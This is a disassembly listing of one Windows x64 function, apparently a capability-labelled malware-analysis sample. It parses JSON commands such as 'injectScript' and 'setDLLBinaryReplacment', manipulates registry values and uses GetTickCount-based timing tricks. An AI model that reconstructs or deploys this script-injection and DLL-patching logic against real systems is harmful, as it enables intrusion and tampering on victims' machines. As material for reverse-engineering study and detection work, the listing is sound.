Function at 0x14004e06c
Capabilities:
Check for time delay via gettickcount
Create http request
Delete registry key
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1b610
call fcn.1400be0c0
sub rsp, rax
mov qword [rsp + 0xa90], 0xfffffffffffffffe
mov rax, qword [0x140197e90]
xor rax, rsp
mov qword [rsp + 0x1b600], rax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x48], rdx
mov r13, rcx
mov qword [rsp + 0x348], rcx
mov qword [rsp + 0x220], rdx
mov qword [rsp + 0x378], r8
xor edi, edi
mov byte [rsp + 0x40], dil
mov eax, dword [rsp + 0x70]
and eax, 0xffffff00
mov dword [rsp + 0x70], eax
btr eax, 8
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x2fd0]
call fcn.140029b6c
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xeb8], rdx
lea rcx, [rsp + 0x80]
call fcn.14001716c
nop
mov rdx, qword [rsp + 0x80]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xec8], rax
lea r12d, [rdi + 1]
cmp dword [rax + 0x10], r12d
jle 0x14004e147
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x80]
call fcn.140017b68
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x2ed0], rdi
mov qword [rsp + 0x2ed8], rdi
mov r15d, 0xf
mov qword [rsp + 0x2ed8], r15
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
or rsi, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x14004e183
mov r8, rdi
jmp 0x14004e18f
mov r8, rsi
inc r8
cmp byte [rdx + r8], dil
jne 0x14004e186
lea rcx, [rsp + 0x2ec0]
call fcn.1400013c8
nop
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x2ec0]
lea rcx, [rsp + 0x2fd0]
call fcn.140029c64
test al, al
jne 0x14004e2a3
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x340]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x340]
mov rcx, qword [r13 + 0x40]
call fcn.1400495d0
nop
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e219
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004e231
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], r15
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x830], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e27c
mov rdx, qword [rsp + 0x830]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
cmp byte [rsp + 0x70], dil
jne 0x14004e392
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x388]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x388]
mov rcx, qword [r13 + 0x40]
call fcn.1400495d0
nop
mov rcx, qword [rsp + 0x388]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e308
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004e320
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], r15
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e36b
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002dadc
mov qword [rsp + 0xed8], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x14005360f
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xee8], rax
cmp byte [rax + 8], 4
jne 0x14005360f
lea rbx, str.param
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002dadc
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xef8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x950], rdx
lea rcx, [rsp + 0x58]
call fcn.1400029b8
nop
lea rdx, str.injectScript
mov rcx, qword [rsp + 0x58]
call fcn.1400ccffc
mov dword [rsp + 0x8b0], eax
test eax, eax
jne 0x14004efb2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xd40], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x960], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1050], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x970], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd50], rdx
lea rcx, [rsp + 0x90]
call fcn.1400029b8
nop
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4a0], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400b9b44
mov qword [rsp + 0x230], rax
test rax, rax
je 0x14004eeab
mov r8, rax
lea rdx, [rsp + 0x90]
call fcn.140053760
test al, al
je 0x14004eeab
mov ecx, dword [0x14019fd80]
mov r8d, ecx
imul r8d, ecx
imul r8d, ecx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub r8d, edx
cmp r8d, 7
jne 0x14004e562
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
add r8d, r12d
mov dword [rsp + 0x6f8], r8d
mov dword [0x14019fd80], r8d
mov r15, qword [r13 + 0x40]
mov ebx, 0x1b0
add r15, rbx
mov qword [rsp + 0x980], r15
mov rcx, qword [r15]
mov qword [rsp + 0xf80], rcx
mov edx, 0x5c
call fcn.1400bb8f8
mov rcx, rax
mov qword [rsp + 0x990], rax
test rax, rax
jne 0x14004e59f
mov ecx, esi
jmp 0x14004e5b0
mov rax, qword [r15]
mov qword [rsp + 0xd60], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0x110]
call fcn.140021298
nop
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x1f8]
call fcn.14000291c
nop
lea rax, [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x228], eax
test eax, eax
je 0x14004e780
test r14, r14
je 0x14004e629
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e65c
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x110]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e68f
mov rdx, qword [rsp + 0x8c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e6c2
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x738], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e6f2
mov rdx, qword [rsp + 0x738]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004e70a
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], 0xf
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e759
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
mov rbx, qword [r13 + 0x40]
add rbx, 0x2c8
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x1e8], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x9a0], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0x1060], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x14004ea72
lea rcx, [0x1401979a8]
mov rax, qword [0x1401979a8]
call qword [rax + 0x18]
mov qword [rsp + 0x9b0], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x130], rbx
mov eax, edi
mov dword [rsp + 0xfc], eax
mov edx, edi
mov dword [rsp + 0x8c], edx
mov r15d, 0x7ffe
test eax, eax
jne 0x14004ea38
mov dword [rsp + 0x1c8], r15d
lea rax, [rbx - 0x18]
mov qword [rsp + 0xd70], rax
mov ecx, r12d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x4b0], ecx
mov eax, dword [rax + 0xc]
sub eax, r15d
mov dword [rsp + 0x820], eax
or eax, ecx
jge 0x14004e871
mov edx, r15d
lea rcx, [rsp + 0x130]
call fcn.140001f54
mov rbx, qword [rsp + 0x130]
mov edx, dword [rsp + 0x8c]
cmp dword [rbx - 0xc], r15d
jge 0x14004e881
mov ecx, 0x80070057
call fcn.140001874
mov dword [rbx - 0x10], r15d
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1c8]
mov r8, rbx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xfc], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x4c0], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400b9bfc
mov dword [rsp + 0x708], eax
test eax, eax
js 0x14004ea2e
cmp eax, dword [rbx - 0xc]
jg 0x14004ea2e
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov rax, qword [rsp + 0x128]
mov dword [rax], edi
lea r8, str._data
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x840]
call fcn.140017478
mov qword [rsp + 0x9c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfa0], rdx
test rdx, rdx
jne 0x14004e939
mov eax, esi
jmp 0x14004e962
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x4d0], eax
test eax, eax
js 0x14004e935
mov rcx, rbx
call fcn.1400b9dcc
mov qword [rsp + 0x9d0], rax
test rax, rax
je 0x14004e935
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xbc], eax
cmp eax, esi
setne byte [rsp + 0x89]
mov rcx, qword [rsp + 0x840]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004e9a5
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x89], dil
je 0x14004e9f0
mov dword [rsp + 0x8c], edi
mov rbx, qword [rsp + 0x130]
mov rdx, rbx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x228], eax
test eax, eax
je 0x14004ea0b
test r14, r14
je 0x14004ea38
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
jmp 0x14004ea3e
mov edx, dword [rsp + 0x8c]
add edx, r12d
mov dword [rsp + 0x8c], edx
mov rbx, qword [rsp + 0x130]
jmp 0x14004ea12
mov edx, dword [rsp + 0x8c]
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x128], rax
mov eax, dword [rsp + 0xfc]
jmp 0x14004e818
mov ecx, 0x80070057
call fcn.140001874
mov r15d, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x748], rbx
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ea68
mov rdx, qword [rsp + 0x748]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1e8]
jmp 0x14004ea78
mov r15d, 0xb
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x900], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x230]
mov rdx, rcx
call fcn.14004e00c
mov edx, dword [rbx]
lea eax, [rdx + 1]
mov dword [rbx], eax
lea rcx, [rsp + 0x2f70]
call fcn.14004ddcc
mov qword [rsp + 0xd80], rax
cmp qword [rax + 0x18], 0x10
jb 0x14004eac8
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x560]
call fcn.1400029b8
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x550]
call fcn.140017478
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3b0]
call fcn.14000d514
nop
mov rcx, qword [rsp + 0x550]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x930], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004eb3f
mov rdx, qword [rsp + 0x930]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x560]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x758], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004eb72
mov rdx, qword [rsp + 0x758]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2f88], 0x10
jb 0x14004eb8a
mov rcx, qword [rsp + 0x2f70]
call fcn.1400b8ff4
mov qword [rsp + 0x2f88], 0xf
mov qword [rsp + 0x2f80], rdi
mov byte [rsp + 0x2f70], dil
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 6
jne 0x14004ec19
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400b8688
mov qword [rsp + 0x9e0], rax
mov rcx, rax
call fcn.1400ba0bc
mov bl, byte [rsp + 0x40]
test bl, bl
mov rbx, qword [rsp + 0x230]
jne 0x14004ec68
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4e0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0x118]
lea rdx, [rsp + 0x110]
mov rcx, r13
call fcn.140053878
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, r15d
jne 0x14004ecef
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rdx, r8d
mov eax, 4
mul rdx
cmovo rax, rsi
mov rcx, rax
call fcn.1400b8688
mov qword [rsp + 0x1070], rax
mov rcx, rax
call fcn.1400ba0bc
mov rcx, rbx
call fcn.1400b9ac0
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, dword [0x14019fd80]
mov r8d, r9d
imul r8d, r9d
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
cmp r8d, 5
jne 0x14004ed7c
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x141
movsxd rcx, r9d
lea eax, [r8 - 1]
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400b8688
mov qword [rsp + 0x9f0], rax
mov rcx, rax
call fcn.1400ba0bc
mov r9d, dword [0x14019fd80]
test r14, r14
je 0x14004ed8a
mov word [r14], r15w
mov word [r14 + 8], si
mov rax, qword [r13 + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x14004eda8
mov dword [rax + 0x2d0], 4
mov r9d, dword [0x14019fd80]
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 7
jne 0x14004edd7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14019fd80], eax
mov rcx, qword [rsp + 0x3b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ee0a
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x850], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ee3d
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x110]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ee70
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x768], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535c2
mov rdx, qword [rsp + 0x768]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400535c2
test r14, r14
je 0x14004eec5
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov r15d, 0xf
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004eef8
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ef28
mov rdx, qword [rsp + 0x8d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004ef40
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], r15
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ef8b
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rdx, str.setDLLBinaryReplacment
mov rcx, qword [rsp + 0x58]
call fcn.1400ccffc
mov dword [rsp + 0x718], eax
test eax, eax
jne 0x14004fdcc
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xd90], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa00], rax
cmp byte [rax + 8], 4
jne 0x14004fd73
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xfc0], rax
lea rdx, [0x14013419c]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa10], rax
cmp byte [rax + 8], 4
jne 0x14004fd73
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xda0], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa20], rax
cmp byte [rax + 8], r12b
jne 0x14004fd73
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1080], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb0], rdx
lea rcx, [rsp + 0x98]
call fcn.1400029b8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa40], rax
lea rdx, [0x14013419c]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x10a0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa50], rdx
lea rcx, [rsp + 0xb0]
call fcn.1400029b8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xdc0], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa60], rax
mov rcx, rax
call fcn.14002d35c
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6b8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400b9b44
mov r15, rax
mov qword [rsp + 0x330], rax
mov edx, dword [0x14019fd80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, r12d
jne 0x14004f1ec
mov ecx, 0x28
call fcn.1400b8688
mov r15, rax
mov qword [rsp + 0xff0], rax
mov ebx, edi
mov dword [rsp + 0x1d8], ebx
cmp ebx, 0xa
jge 0x14004f1d2
call fcn.1400b99c8
add eax, dword [0x14019fd80]
movsxd rcx, ebx
mov dword [r15 + rcx*4], eax
add ebx, r12d
jmp 0x14004f1af
mov eax, dword [r15 + 0x24]
mov dword [0x14019fd80], eax
mov rcx, r15
call fcn.1400ba0bc
mov r15, qword [rsp + 0x330]
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x80c], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400b9b44
mov rbx, rax
mov qword [rsp + 0x610], rax
test r15, r15
je 0x14004fc3b
test rax, rax
je 0x14004fc3b
mov r8, r15
lea rdx, [rsp + 0x98]
call fcn.140053760
test al, al
je 0x14004fc3b
mov r8, rbx
lea rdx, [rsp + 0xb0]
call fcn.140053760
test al, al
je 0x14004fc3b
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x910], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r15
mov rcx, r15
call fcn.14004e00c
mov r8d, dword [0x14019fd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xe
jne 0x14004f322
movsd xmm3, qword [0x140134f70]
movsd qword [rsp + 0x778], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x3d0], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x3d0], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x14004f30a
subsd xmm2, xmm3
movsd qword [rsp + 0x3d0], xmm2
divsd xmm3, qword [0x140134f98]
movsd qword [rsp + 0x778], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x140134f68]
ja 0x14004f2d2
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x918], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.14004e00c
mov r15, qword [r13 + 0x40]
mov ebx, 0x1b0
add r15, rbx
mov qword [rsp + 0xa70], r15
mov rcx, qword [r15]
mov qword [rsp + 0xdd0], rcx
mov edx, 0x5c
call fcn.1400bb8f8
mov rcx, rax
mov qword [rsp + 0xa80], rax
test rax, rax
jne 0x14004f384
mov ecx, esi
jmp 0x14004f395
mov rax, qword [r15]
mov qword [rsp + 0xfe0], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0xc8]
call fcn.140021298
nop
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x190]
call fcn.14000291c
nop
mov eax, dword [0x14019fd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 7
jne 0x14004f3fa
lea rcx, [rsp + 0x3110]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov rax, qword [r13 + 0x40]
add rax, 0x2cc
mov qword [rsp + 0x3e0], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x2fb0]
call fcn.14004ddcc
